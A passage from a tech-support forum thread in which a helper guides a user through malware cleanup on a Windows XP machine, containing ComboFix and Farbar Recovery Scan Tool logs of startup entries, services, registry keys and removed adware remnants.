    2015-11-03 13:39 . 2015-11-03 13:40 -------- d-----w- c:\documents and settings\Geny\Local Settings\Application Data\AvgSetupLog
    .
    .
    .
    (((((((((((((((((((((((((((((((((((((((( Find3M Report ))))))))))))))))))))))))))))))))))))))))))))))))))))
    .
    2015-10-28 23:15 . 2012-07-01 02:27 780488 ----a-w- c:\windows\system32\FlashPlayerApp.exe
    2015-10-28 23:15 . 2011-06-04 02:23 142536 ----a-w- c:\windows\system32\FlashPlayerCPLApp.cpl
    2010-05-12 22:42 . 2015-11-05 02:16 124344 ----a-w- c:\program files\mozilla firefox\plugins\CCMSDK.dll
    2010-05-12 23:22 . 2015-11-05 02:16 13240 ----a-w- c:\program files\mozilla firefox\plugins\cgpcfg.dll
    2010-05-12 22:43 . 2015-11-05 02:16 70592 ----a-w- c:\program files\mozilla firefox\plugins\CgpCore.dll
    2010-05-12 22:42 . 2015-11-05 02:16 91576 ----a-w- c:\program files\mozilla firefox\plugins\confmgr.dll
    2010-05-12 22:42 . 2015-11-05 02:16 22464 ----a-w- c:\program files\mozilla firefox\plugins\ctxlogging.dll
    2010-05-12 22:41 . 2015-11-05 02:16 255416 ----a-w- c:\program files\mozilla firefox\plugins\ctxmui.dll
    2010-05-12 22:42 . 2015-11-05 02:16 31160 ----a-w- c:\program files\mozilla firefox\plugins\icafile.dll
    2010-05-12 22:42 . 2015-11-05 02:16 40384 ----a-w- c:\program files\mozilla firefox\plugins\icalogon.dll
    2010-04-14 19:55 . 2015-11-05 02:16 652640 ----a-w- c:\program files\mozilla firefox\plugins\sslsdk_b.dll
    2010-05-12 22:43 . 2015-11-05 02:16 24000 ----a-w- c:\program files\mozilla firefox\plugins\TcpPServ.dll
    .
    .
    ((((((((((((((((((((((((((((((((((((( Reg Loading Points ))))))))))))))))))))))))))))))))))))))))))))))))))
    .
    .
    *Note* empty entries & legit default entries are not shown
    REGEDIT4
    .
    [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "swg"="c:\program files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe" [2010-11-07 39408]
    "uTorrent"="c:\documents and settings\Geny\Application Data\uTorrent\uTorrent.exe" [2015-10-14 1822048]
    "QuickTime Task"="c:\program files\QuickTime\qttask.exe" [2014-10-02 421888]
    "ctfmon.exe"="c:\windows\system32\ctfmon.exe" [2008-04-14 15360]
    .
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "RTHDCPL"="RTDCPL.EXE" [2009-08-26 2691072]
    "IgfxTray"="c:\windows\system32\igfxtray.exe" [2009-07-28 141336]
    "HotKeysCmds"="c:\windows\system32\hkcmd.exe" [2009-07-28 173592]
    "Persistence"="c:\windows\system32\igfxpers.exe" [2009-07-28 142872]
    "Broadcom Wireless Manager UI"="c:\windows\system32\WLTRAY.exe" [2010-03-30 2498560]
    "PDVDDXSrv"="c:\program files\PowerDVD DX\PDVDDXSrv.exe" [2009-09-11 128232]
    "NeroFilterCheck"="c:\program files\Common Files\Nero\Lib\NeroCheck.exe" [2008-04-28 570664]
    "NBKeyScan"="c:\program files\Nero\Nero8\Nero BackItUp\NBKeyScan.exe" [2008-02-18 2221352]
    "ConnectionCenter"="c:\program files\Citrix\ICA Client\concentr.exe" [2010-05-12 300472]
    "GrooveMonitor"="c:\program files\Microsoft Office\Office12\GrooveMonitor.exe" [2009-02-27 30040]
    "APSDaemon"="c:\program files\Common Files\Apple\Apple Application Support\APSDaemon.exe" [2015-03-21 60712]
    "Adobe ARM"="c:\program files\Common Files\Adobe\ARM\1.0\AdobeARM.exe" [2013-04-04 958576]
    "EvtMgr6"="c:\program files\Logitech\SetPointP\SetPoint.exe" [2013-07-31 2296600]
    "QuickTime Task"="c:\program files\QuickTime\qttask.exe" [2014-10-02 421888]
    "iTunesHelper"="c:\program files\iTunes\iTunesHelper.exe" [2015-04-07 157480]
    "AvgUi"="c:\program files\AVG\Framework\Common\avguix.exe" [2015-11-12 1136552]
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\notify\LBTWlgn]
    2013-06-13 19:31 64280 ----a-w- c:\program files\Common Files\logishrd\Bluetooth\LBTWLgn.dll
    .
    [HKEY_LOCAL_MACHINE\system\currentcontrolset\control\session manager]
    BootExecute REG_MULTI_SZ autocheck autochk *\0c:\progra~1\AVG\Av\avgrsx.exe /sync /restart
    .
    [HKLM\~\startupfolder\C:^Documents and Settings^All Users^Start Menu^Programs^Startup^WD Quick View.lnk]
    path=c:\documents and settings\All Users\Start Menu\Programs\Startup\WD Quick View.lnk
    backup=c:\windows\pss\WD Quick View.lnkCommon Startup
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Fitbit Connect]
    2014-01-10 21:06 3362336 ----a-r- c:\program files\Fitbit Connect\Fitbit Connect.exe
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\IndxStoreSvr_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA}]
    2008-02-29 00:07 1828136 ----a-w- c:\program files\Common Files\Nero\Lib\NMIndexStoreSvr.exe
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\iTunesHelper]
    2015-04-07 06:29 157480 ----a-w- c:\program files\iTunes\iTunesHelper.exe
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\uTorrent]
    2015-10-14 04:10 1822048 ----a-w- c:\documents and settings\Geny\Application Data\uTorrent\uTorrent.exe
    .
    [HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
    "%windir%\\Network Diagnostic\\xpnetdiag.exe"=
    "%windir%\\system32\\sessmgr.exe"=
    "c:\\Program Files\\Microsoft Office\\Office12\\OUTLOOK.EXE"=
    "c:\\Program Files\\Microsoft Office\\Office12\\GROOVE.EXE"=
    "c:\\Program Files\\Microsoft Office\\Office12\\ONENOTE.EXE"=
    "c:\\Program Files\\Common Files\\Adobe\\CS4ServiceManager\\CS4ServiceManager.exe"=
    "c:\\Program Files\\Common Files\\Adobe\\Adobe Version Cue CS4\\Server\\bin\\VersionCueCS4.exe"=
    "c:\\Program Files\\Windows Live\\Messenger\\wlcsdk.exe"=
    "c:\\Program Files\\Windows Live\\Messenger\\msnmsgr.exe"=
    "c:\\Program Files\\Windows Live\\Sync\\WindowsLiveSync.exe"=
    "c:\\Documents and Settings\\Geny\\Local Settings\\Application Data\\Google\\Google Talk Plugin\\googletalkplugin.exe"=
    "c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqkygrp.exe"=
    "c:\\Program Files\\HP\\Digital Imaging\\bin\\hpfccopy.exe"=
    "c:\\Program Files\\HP\\Digital Imaging\\bin\\hpiscnapp.exe"=
    "c:\\Documents and Settings\\Geny\\Application Data\\uTorrent\\uTorrent.exe"=
    "c:\\Program Files\\Jawbone\\JawboneUpdater.exe"=
    "c:\\Program Files\\Bonjour\\mDNSResponder.exe"=
    "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"=
    "c:\\Program Files\\iTunes\\iTunes.exe"=
    "c:\\Program Files\\AVG\\Av\\avgnsx.exe"=
    "c:\\Program Files\\AVG\\Av\\avgdiagex.exe"=
    "c:\\Program Files\\AVG\\Av\\avgmfapx.exe"=
    "c:\\Program Files\\Mozilla Firefox\\firefox.exe"=
    .
    [HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\GloballyOpenPorts\List]
    "5353:TCP"= 5353:TCP:Adobe CSI CS4
    "3703:TCP"= 3703:TCP:Adobe Version Cue CS4 Server
    "3704:TCP"= 3704:TCP:Adobe Version Cue CS4 Server
    "51000:TCP"= 51000:TCP:Adobe Version Cue CS4 Server
    "51001:TCP"= 51001:TCP:Adobe Version Cue CS4 Server
    .
    R1 ctxusbm;Citrix USB Monitor Driver;c:\windows\system32\drivers\ctxusbm.sys [4/16/2010 3:22 PM 65584]
    R2 avgsvc;AVG Service;c:\program files\AVG\Framework\Common\avgsvcx.exe [11/12/2015 4:57 PM 862632]
    R2 Fitbit Connect;Fitbit Connect Service;c:\program files\Fitbit Connect\FitbitConnectService.exe [1/10/2014 2:06 PM 1435680]
    R2 LBeepKE;Logitech Beep Suppression Driver;c:\windows\system32\drivers\LBeepKE.sys [9/21/2013 6:28 PM 10136]
    R2 WAOnDemand;OPSWAT GEARS Client;c:\program files\OPSWAT\OnDemand\GearsAgentService.exe [11/18/2015 6:40 AM 926128]
    R3 k57w2k;Broadcom NetLink (TM) Gigabit Ethernet;c:\windows\system32\drivers\k57xp32.sys [3/30/2010 1:54 PM 209960]
    R3 LEqdUsb;Logitech SetPoint Unifying KMDF USB Filter;c:\windows\system32\drivers\LEqdUsb.sys [5/22/2013 11:12 PM 42264]
    R3 LHidEqd;Logitech SetPoint Unifying KMDF HID Filter;c:\windows\system32\drivers\LHidEqd.sys [5/22/2013 11:12 PM 10136]
    R3 MBAMProtector;MBAMProtector;c:\windows\system32\drivers\mbam.sys [11/16/2015 9:01 PM 23256]
    S0 cerc6;cerc6; [x]
    S2 HPSupportSolutionsFrameworkService;HP Support Solutions Framework Service;c:\program files\HP\Common\HPSupportSolutionsFrameworkService.exe [3/28/2015 11:58 AM 89840]
    S2 MBAMService;MBAMService;c:\program files\Malwarebytes Anti-Malware\mbamservice.exe [11/16/2015 9:01 PM 1135416]
    S3 Adobe Version Cue CS4;Adobe Version Cue CS4;c:\program files\Common Files\Adobe\Adobe Version Cue CS4\Server\bin\VersionCueCS4.exe [8/15/2008 4:46 AM 288112]
    S3 AvgAMPS;AvgAMPS;c:\program files\AVG\Av\avgamps.exe [10/30/2015 9:57 AM 595376]
    S3 libusb0;Jawbone LibUsb-Win32 - Kernel Driver 07/08/2013,1.2.6.1;c:\windows\system32\drivers\libusb0.sys [12/26/2011 10:16 AM 42592]
    .
    --- Other Services/Drivers In Memory ---
    .
    *NewlyCreated* - WS2IFSL
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\svchost]
    HPZ12 REG_MULTI_SZ Pml Driver HPZ12 Net Driver HPZ12
    HPService REG_MULTI_SZ HPSLPSVC
    .
    [HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
    2015-11-11 19:54 997704 ----a-w- c:\program files\Google\Chrome\Application\46.0.2490.86\Installer\chrmstp.exe
    .
    Contents of the 'Scheduled Tasks' folder
    .
    2015-11-19 c:\windows\Tasks\GoogleUpdateTaskMachineCore.job
    - c:\program files\Google\Update\GoogleUpdate.exe [2010-11-07 00:43]
    .
    2015-11-19 c:\windows\Tasks\GoogleUpdateTaskMachineUA.job
    - c:\program files\Google\Update\GoogleUpdate.exe [2010-11-07 00:43]
    .
    2015-11-17 c:\windows\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003Core.job
    - c:\documents and settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe [2011-06-30 12:27]
    .
    2015-11-18 c:\windows\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003UA.job
    - c:\documents and settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe [2011-06-30 12:27]
    .
    2015-11-19 c:\windows\Tasks\Microsoft Windows XP End of Service Notification Logon.job
    - c:\windows\system32\xp_eos.exe [2014-03-26 01:59]
    .
    2015-11-08 c:\windows\Tasks\Microsoft Windows XP End of Service Notification Monthly.job
    - c:\windows\system32\xp_eos.exe [2014-03-26 01:59]
    .
    .
    ------- Supplementary Scan -------
    .
    uStart Page = hxxp://www.facebook.com/
    uInternet Settings,ProxyOverride = *.local
    IE: Append Link Target to Existing PDF - c:\program files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll/AcroIEAppendSelLinks.html
    IE: Append to Existing PDF - c:\program files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll/AcroIEAppend.html
    IE: Convert Link Target to Adobe PDF - c:\program files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll/AcroIECaptureSelLinks.html
    IE: Convert link target to existing PDF - c:\program files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll/AcroIEAppendSelLinks.html
    IE: Convert to Adobe PDF - c:\program files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll/AcroIECapture.html
    IE: E&xport to Microsoft Excel - c:\progra~1\MICROS~2\Office12\EXCEL.EXE/3000
    TCP: DhcpNameServer = 192.168.0.1 205.171.2.65
    FF - ProfilePath - c:\documents and settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\
    FF - prefs.js: browser.startup.homepage - hxxps://www.lds.org/
    FF - prefs.js: keyword.URL -
    FF - ExtSQL: !HIDDEN! 2010-03-30 16:13; {20a82645-c095-46ed-80e3-08825760534b}; c:\windows\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
    .
    - - - - ORPHANS REMOVED - - - -
    .
    HKCU-Run-AdobeBridge - (no file)
    HKCU-Run-ROC_ROC_APR2013_AV - c:\documents and settings\Geny\Application Data\AVG April 2013 Campaign\AVG-Secure-Search-Update.exe
    HKCU-Run-AVG-Secure-Search-Update_0913a - c:\documents and settings\Geny\Application Data\AVG 0913a Campaign\AVG-Secure-Search-Update-0913a.exe
    HKCU-Run-AVG-Secure-Search-Update_1113a - c:\documents and settings\Geny\Application Data\AVG 1113a Campaign\AVG-Secure-Search-Update-1113a.exe
    HKCU-Run-{F9D772C4-AD01-40E2-BACC-F7300FE9592E} - c:\documents and settings\Geny\Application Data\Quyitv\CofeDxun.dll
    HKLM-Run-GEARS - c:\program files\OPSWAT\GEARS Client\GEARS.exe
    AddRemove-Coupon Printer for Windows5.0.0.0 - c:\program files\Coupons\uninstall.exe
    AddRemove-Zynga Toolbar - c:\program files\Zynga\uninstall.exe
    .
    .
    .
    **************************************************************************
    .
    catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
    Rootkit scan 2015-11-18 19:45
    Windows 5.1.2600 Service Pack 3 NTFS
    .
    scanning hidden processes ...
    .
    scanning hidden autostart entries ...
    .
    scanning hidden files ...
    .
    scan completed successfully
    hidden files: 0
    .
    **************************************************************************
    .
    --------------------- LOCKED REGISTRY KEYS ---------------------
    .
    [HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{85D22876-D758-4185-9DE4-E12014F8B75C}\InprocServer32]
    @Denied: (C D 2 3 6) (Everyone)
    @Allowed: (Read) (S-1-5-21-1454471165-790525478-1801674531-1003)
    "ThreadingModel"="Apartment"
    @="c:\\Documents and Settings\\All Users\\Application Data\\{42793930-2684-4C15-9B87-9CEF8846A875}\\cmpbk32.dll"
    .
    [HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\Drive\ShellEx\FolderExtensions\{85D22876-D758-4185-9DE4-E12014F8B75C}]
    @Denied: (C D 2 3 6) (Everyone)
    @Allowed: (Read) (S-1-5-21-1454471165-790525478-1801674531-1003)
    "DriveMask"=dword:ffffffff
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{85D22876-D758-4185-9DE4-E12014F8B75C}\InprocServer32]
    @Denied: (C D 2 3 6) (Everyone)
    "ThreadingModel"="Apartment"
    @="c:\\Documents and Settings\\All Users\\Application Data\\{42793930-2684-4C15-9B87-9CEF8846A875}\\cmpbk32.dll"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}]
    @Denied: (A 2) (Everyone)
    @="FlashBroker"
    "LocalizedString"="@c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_17_0_0_190_ActiveX.exe,-101"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\Elevation]
    "Enabled"=dword:00000001
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\LocalServer32]
    @="c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_17_0_0_190_ActiveX.exe"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{B019E3BF-E7E5-453C-A2E4-D2C18CA0866F}\TypeLib]
    @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\CLSID\{BEB3C0C7-B648-4257-96D9-B5D024816E27}\Version*Version]
    "Version"=hex:d8,cb,b6,60,7d,92,9e,3b,92,01,2d,2d,91,30,1d,11,f3,af,41,f8,77,
    16,66,c0,3d,48,40,d3,f5,47,12,64,f7,7e,56,24,b2,2c,5d,9a,59,73,81,99,90,02,\
    .
    [HKEY_LOCAL_MACHINE\software\Classes\Drive\shellex\FolderExtensions\{85D22876-D758-4185-9DE4-E12014F8B75C}]
    @Denied: (C D 2 3 6) (Everyone)
    "DriveMask"=dword:ffffffff
    .
    [HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}]
    @Denied: (A 2) (Everyone)
    @="IFlashBroker6"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}\ProxyStubClsid32]
    @="{00020424-0000-0000-C000-000000000046}"
    .
    [HKEY_LOCAL_MACHINE\software\Classes\Interface\{299817DA-1FAC-4CE2-8F48-A108237013BD}\TypeLib]
    @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"
    "Version"="1.0"
    .
    [HKEY_LOCAL_MACHINE\software\Minnetonka Audio Software\SurCode Dolby Digital Premiere\Version*Version]
    "Version"=hex:d8,cb,b6,60,7d,92,9e,3b,92,01,2d,2d,91,30,1d,11,f3,af,41,f8,77,
    16,66,c0,3d,48,40,d3,f5,47,12,64,f7,7e,56,24,b2,2c,5d,9a,59,73,81,99,90,02,\
    .
    --------------------- DLLs Loaded Under Running Processes ---------------------
    .
    - - - - - - - > 'winlogon.exe'(716)
    c:\program files\common files\logishrd\bluetooth\LBTWlgn.dll
    c:\program files\Common Files\Adobe\Adobe Drive CS4\AdobeDriveCS4_NP.dll
    c:\windows\System32\BCMLogon.dll
    .
    - - - - - - - > 'explorer.exe'(2256)
    c:\windows\system32\WININET.dll
    c:\windows\system32\igfxdo.dll
    c:\windows\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.6195_x-ww_44262b86\MSVCR80.dll
    c:\progra~1\WINDOW~2\wmpband.dll
    c:\windows\system32\ieframe.dll
    c:\windows\system32\webcheck.dll
    c:\windows\system32\WPDShServiceObj.dll
    c:\windows\system32\PortableDeviceTypes.dll
    c:\windows\system32\PortableDeviceApi.dll
    .
    ------------------------ Other Running Processes ------------------------
    .
    c:\windows\System32\WLTRYSVC.EXE
    c:\windows\System32\bcmwltry.exe
    c:\program files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
    c:\program files\Bonjour\mDNSResponder.exe
    c:\program files\Google\Update\1.3.28.15\GoogleCrashHandler.exe
    c:\windows\RTDCPL.EXE
    c:\windows\system32\igfxsrvc.exe
    c:\program files\Citrix\ICA Client\wfcrun32.exe
    c:\program files\Common Files\LogiShrd\KHAL3\KHALMNPR.EXE
    c:\program files\Nero\Nero8\Nero BackItUp\NBService.exe
    c:\windows\system32\IoctlSvc.exe
    c:\program files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
    c:\program files\OPSWAT\OnDemand\ondemands\wd\waodwd.exe
    c:\program files\OPSWAT\OnDemand\ondemands\bs\wabpmsn.exe
    c:\program files\Common Files\Microsoft Shared\Windows Live\WLIDSvcM.exe
    c:\windows\system32\wscntfy.exe
    c:\program files\iPod\bin\iPodService.exe
    .
    **************************************************************************
    .
    Completion time: 2015-11-18 19:50:51 - machine was rebooted
    ComboFix-quarantined-files.txt 2015-11-19 02:50
    .
    Pre-Run: 176,271,634,432 bytes free
    Post-Run: 181,906,116,608 bytes free
    .
    WindowsXP-KB310994-SP2-Pro-BootDisk-ENU.exe
    [boot loader]
    timeout=2
    default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
    [operating systems]
    c:\cmdcons\BOOTSECT.DAT="Microsoft Windows Recovery Console" /cmdcons
    UnsupportedDebug="do not select this" /debug
    multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
    .
    - - End Of File - - 68DB398CD8FD0738CA2994A732839C8B
    8F558EB6672622401DA993E1E865C861
     
  21. Broni

    Broni Malware Annihilator Posts: 52,895   +344

    Re-run Farbar Recovery Scan Tool (FRST/FRST64) you ran at the very beginning of this topic.

    • Double click to run it.
    • Make sure you checkmark Addition.txt box.
    • Press Scan button.
    • Scan will create two logs, FRST.txt and Addition.txt in the same directory the tool is run. Please copy and paste them to your reply.
     
  22. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version:19-11-2015
    Ran by Geny (administrator) on GENY-380 (19-11-2015 19:09:12)
    Running from C:\Documents and Settings\Geny\Desktop
    Loaded Profiles: Geny (Available Profiles: Geny)
    Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Language: English (United States)
    Internet Explorer Version 8 (Default browser: Chrome)
    Boot Mode: Normal
    Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

    ==================== Processes (Whitelisted) =================

    (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

    () C:\WINDOWS\system32\WLTRYSVC.EXE
    (Dell Inc.) C:\WINDOWS\system32\BCMWLTRY.EXE
    (Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
    (Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
    (Fitbit, Inc.) C:\Program Files\Fitbit Connect\FitbitConnectService.exe
    (Google Inc.) C:\Program Files\Google\Update\1.3.28.15\GoogleCrashHandler.exe
    (Realtek Semiconductor Corp.) C:\WINDOWS\RTDCPL.EXE
    (Intel Corporation) C:\WINDOWS\system32\hkcmd.exe
    (Intel Corporation) C:\WINDOWS\system32\igfxpers.exe
    (Intel Corporation) C:\WINDOWS\system32\igfxsrvc.exe
    (Dell Inc.) C:\WINDOWS\system32\WLTRAY.EXE
    (CyberLink Corp.) C:\Program Files\PowerDVD DX\PDVDDXSrv.exe
    (Citrix Systems, Inc.) C:\Program Files\Citrix\ICA Client\concentr.exe
    (Microsoft Corporation) C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
    (Logitech, Inc.) C:\Program Files\Logitech\SetPointP\SetPoint.exe
    (Apple Inc.) C:\Program Files\iTunes\iTunesHelper.exe
    (Citrix Systems, Inc.) C:\Program Files\Citrix\ICA Client\wfcrun32.exe
    (Logitech, Inc.) C:\Program Files\Common Files\logishrd\KHAL3\KHALMNPR.exe
    (Nero AG) C:\Program Files\Nero\Nero8\Nero BackItUp\NBService.exe
    (Prolific Technology Inc.) C:\WINDOWS\system32\IoctlSvc.exe
    (OPSWAT, Inc.) C:\Program Files\OPSWAT\OnDemand\GearsAgentService.exe
    (Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
    (OPSWAT, Inc.) C:\Program Files\OPSWAT\OnDemand\ondemands\wd\waodwd.exe
    (OPSWAT, Inc.) C:\Program Files\OPSWAT\OnDemand\ondemands\bs\wabpmsn.exe
    (Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
    (Microsoft Corporation) C:\WINDOWS\system32\wscntfy.exe
    (Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
    (Adobe Systems Incorporated) C:\Program Files\Adobe\Acrobat 9.0\Acrobat\AcrobatInfo.exe


    ==================== Registry (Whitelisted) ===========================

    (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

    HKLM\...\Run: [RTHDCPL] => C:\WINDOWS\RTDCPL.EXE [2691072 2009-08-26] (Realtek Semiconductor Corp.)
    HKLM\...\Run: [Broadcom Wireless Manager UI] => C:\WINDOWS\system32\WLTRAY.exe [2498560 2010-03-30] (Dell Inc.)
    HKLM\...\Run: [PDVDDXSrv] => C:\Program Files\PowerDVD DX\PDVDDXSrv.exe [128232 2009-09-11] (CyberLink Corp.)
    HKLM\...\Run: [NeroFilterCheck] => C:\Program Files\Common Files\Nero\Lib\NeroCheck.exe [570664 2008-04-28] (Nero AG)
    HKLM\...\Run: [NBKeyScan] => C:\Program Files\Nero\Nero8\Nero BackItUp\NBKeyScan.exe [2221352 2008-02-18] (Nero AG)
    HKLM\...\Run: [ConnectionCenter] => C:\Program Files\Citrix\ICA Client\concentr.exe [300472 2010-05-12] (Citrix Systems, Inc.)
    HKLM\...\Run: [GrooveMonitor] => C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe [30040 2009-02-26] (Microsoft Corporation)
    HKLM\...\Run: [APSDaemon] => C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2015-03-20] (Apple Inc.)
    HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [958576 2013-04-04] (Adobe Systems Incorporated)
    HKLM\...\Run: [EvtMgr6] => C:\Program Files\Logitech\SetPointP\SetPoint.exe [2296600 2013-07-31] (Logitech, Inc.)
    HKLM\...\Run: [QuickTime Task] => C:\Program Files\QuickTime\qttask.exe [421888 2014-10-02] (Apple Inc.)
    HKLM\...\Run: [iTunesHelper] => C:\Program Files\iTunes\iTunesHelper.exe [157480 2015-04-06] (Apple Inc.)
    Winlogon\Notify\LBTWlgn: c:\program files\common files\logishrd\bluetooth\LBTWlgn.dll [2013-06-13] (Logitech, Inc.)
    HKLM\...\Policies\Explorer: [NoCDBurning] 0
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [swg] => C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe [39408 2010-11-07] (Google Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [uTorrent] => C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe [1822048 2015-10-13] (BitTorrent Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [QuickTime Task] => C:\Program Files\QuickTime\qttask.exe [421888 2014-10-02] (Apple Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\scrnsave.scr [9216 2008-04-14] (Microsoft Corporation)
    BootExecute: autocheck autochk * C:\PROGRA~1\AVG\Av\avgrsx.exe /sync /restart

    ==================== Internet (Whitelisted) ====================

    (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

    Winsock: Catalog5 04 C:\Program Files\Bonjour\mdnsNSP.dll [121704 2011-08-30] (Apple Inc.)
    Tcpip\Parameters: [DhcpNameServer] 192.168.0.1 205.171.2.65
    Tcpip\..\Interfaces\{7203B3FB-70D8-4079-B244-FA1D5DDCC534}: [DhcpNameServer] 192.168.0.1 205.171.2.65

    Internet Explorer:
    ==================
    HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
    HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
    HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.facebook.com/
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> DefaultScope {EAF435F9-2BE3-42DD-B5F5-2785466D295F} URL = hxxp://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}&rlz=1I7ADFA_enUS404
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> {91D0C420-E910-4A17-BE98-51976FED3BC7} URL = hxxp://en.wikipedia.org/wiki/Special:Search?search={searchTerms}
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> {EAF435F9-2BE3-42DD-B5F5-2785466D295F} URL = hxxp://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}&rlz=1I7ADFA_enUS404
    BHO: ContributeBHO Class -> {074C1DC5-9320-4A9A-947D-C042949C6216} -> C:\Program Files\Adobe\/Adobe Contribute CS4/contributeieplugin.dll [2008-09-10] (Adobe Systems Incorporated.)
    BHO: Adobe PDF Link Helper -> {18DF081C-E8AD-4283-A596-FA578C2EBDC3} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll [2012-01-03] (Adobe Systems Incorporated)
    BHO: No Name -> {5C255C8A-E604-49b4-9D64-90988571CECB} -> No File
